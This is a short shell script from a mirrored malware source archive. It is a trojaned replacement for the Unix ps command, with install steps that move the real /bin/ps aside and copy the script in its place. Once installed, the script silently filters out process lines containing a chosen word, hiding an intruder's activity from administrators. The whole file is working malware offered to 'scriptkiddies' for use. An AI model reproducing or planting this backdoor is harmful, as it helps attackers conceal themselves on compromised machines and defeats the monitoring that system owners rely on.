mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
41 lines
790 B
Plaintext
41 lines
790 B
Plaintext
#
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# lame tiny easy to use backdoor for ps
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#
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# the word placed after filterword= will be filtered out of the output of ps
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#
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# usage:
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# # mv /bin/ps /bin/.ps
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# # cp ~/psbackdoor.sh /bin/ps
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# # chmod a+x /bin/ps
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#
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# Thats it, have phun scriptkiddies
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# The Itch / Bse / g0tr00t
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# http://bse.die.ms
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# http://www.g0tr00t.net
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filterword="su"
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originalps=/bin/.ps
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tempfile=/tmp/.pstmp
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grep=/bin/grep
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numlines=0
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touch $tempfile
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if [ ! -x $originalps ]; then
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echo "Error: original ps not found!";
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exit 1
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fi
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if [ ! -w $tempfile ]; then
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echo "Error: tempfile handling failed!";
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exit 1
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fi
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$originalps $1 $2 $3 $4| $grep -v $filterword > $tempfile
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numlines=`cat $tempfile|wc -l`
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numlines=`expr $numlines - 2`
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head -n $numlines $tempfile
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rm -rf $tempfile
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